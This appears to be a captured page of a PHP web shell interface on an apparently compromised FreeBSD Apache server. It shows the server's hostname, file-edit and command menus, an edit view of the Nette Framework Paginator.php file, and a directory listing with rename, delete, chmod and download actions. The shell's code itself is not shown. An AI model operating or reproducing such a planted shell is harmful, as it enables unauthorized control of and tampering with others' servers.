TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
utils
src
Utils
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/utils/src/Utils/Paginator.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Utils; use Nette; /** * Paginating math. * * @property int $page * @property-read int $firstPage * @property-read int|NULL $lastPage * @property int $base * @property-read bool $first * @property-read bool $last * @property-read int|NULL $pageCount * @property int $itemsPerPage * @property int|NULL $itemCount * @property-read int $offset * @property-read int|NULL $countdownOffset * @property-read int|NULL $length */ class Paginator extends Nette\Object { /** @var int */ private $base = 1; /** @var int */ private $itemsPerPage = 1; /** @var int */ private $page; /** @var int|NULL */ private $itemCount; /** * Sets current page number. * @param int * @return self */ public function setPage($page) { $this->page = (int) $page; return $this; } /** * Returns current page number. * @return int */ public function getPage() { return $this->base + $this->getPageIndex(); } /** * Returns first page number. * @return int */ public function getFirstPage() { return $this->base; } /** * Returns last page number. * @return int|NULL */ public function getLastPage() { return $this->itemCount === NULL ? NULL : $this->base + max(0, $this->getPageCount() - 1); } /** * Sets first page (base) number. * @param int * @return self */ public function setBase($base) { $this->base = (int) $base; return $this; } /** * Returns first page (base) number. * @return int */ public function getBase() { return $this->base; } /** * Returns zero-based page number. * @return int */ protected function getPageIndex() { $index = max(0, $this->page - $this->base); return $this->itemCount === NULL ? $index : min($index, max(0, $this->getPageCount() - 1)); } /** * Is the current page the first one? * @return bool */ public function isFirst() { return $this->getPageIndex() === 0; } /** * Is the current page the last one? * @return bool */ public function isLast() { return $this->itemCount === NULL ? FALSE : $this->getPageIndex() >= $this->getPageCount() - 1; } /** * Returns the total number of pages. * @return int|NULL */ public function getPageCount() { return $this->itemCount === NULL ? NULL : (int) ceil($this->itemCount / $this->itemsPerPage); } /** * Sets the number of items to display on a single page. * @param int * @return self */ public function setItemsPerPage($itemsPerPage) { $this->itemsPerPage = max(1, (int) $itemsPerPage); return $this; } /** * Returns the number of items to display on a single page. * @return int */ public function getItemsPerPage() { return $this->itemsPerPage; } /** * Sets the total number of items. * @param int (or NULL as infinity) * @return self */ public function setItemCount($itemCount) { $this->itemCount = ($itemCount === FALSE || $itemCount === NULL) ? NULL : max(0, (int) $itemCount); return $this; } /** * Returns the total number of items. * @return int|NULL */ public function getItemCount() { return $this->itemCount; } /** * Returns the absolute index of the first item on current page. * @return int */ public function getOffset() { return $this->getPageIndex() * $this->itemsPerPage; } /** * Returns the absolute index of the first item on current page in countdown paging. * @return int|NULL */ public function getCountdownOffset() { return $this->itemCount === NULL ? NULL : max(0, $this->itemCount - ($this->getPageIndex() + 1) * $this->itemsPerPage); } /** * Returns the number of items on current page. * @return int|NULL */ public function getLength() { return $this->itemCount === NULL ? $this->itemsPerPage : min($this->itemsPerPage, $this->itemCount - $this->getPageIndex() * $this->itemsPerPage); } }
Crotin
Name
Size
Permissions
Modified
User/Group
Json.php
3008
0644
2015-09-30 18:28:58
Unknown/Unknown
Random.php
2153
0644
2015-09-30 18:28:57
Unknown/Unknown
exceptions.php
2972
0644
2015-09-30 18:28:58
Unknown/Unknown
DateTime.php
2514
0644
2015-09-30 18:28:57
Unknown/Unknown
ArrayHash.php
1621
0644
2015-09-30 18:28:57
Unknown/Unknown
ObjectMixin.php
12465
0644
2015-09-30 18:28:58
Unknown/Unknown
Callback.php
4849
0644
2015-09-30 18:28:57
Unknown/Unknown
IHtmlString.php
258
0644
2015-09-30 18:28:57
Unknown/Unknown
Object.php
4206
0644
2015-09-30 18:28:57
Unknown/Unknown
ITranslator.php
399
0644
2015-09-30 18:28:58
Unknown/Unknown
ArrayList.php
1987
0644
2015-09-30 18:28:58
Unknown/Unknown
Strings.php
15525
0644
2015-09-30 18:28:58
Unknown/Unknown
Validators.php
7603
0644
2015-09-30 18:28:57
Unknown/Unknown
Paginator.php
4020
0644
2015-09-30 18:28:57
Unknown/Unknown
Html.php
11963
0644
2015-09-30 18:28:58
Unknown/Unknown
Image.php
18416
0644
2015-09-30 18:28:57
Unknown/Unknown
Arrays.php
5928
0644
2015-09-30 18:28:57
Unknown/Unknown
FileSystem.php
3789
0644
2015-09-30 18:28:58
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin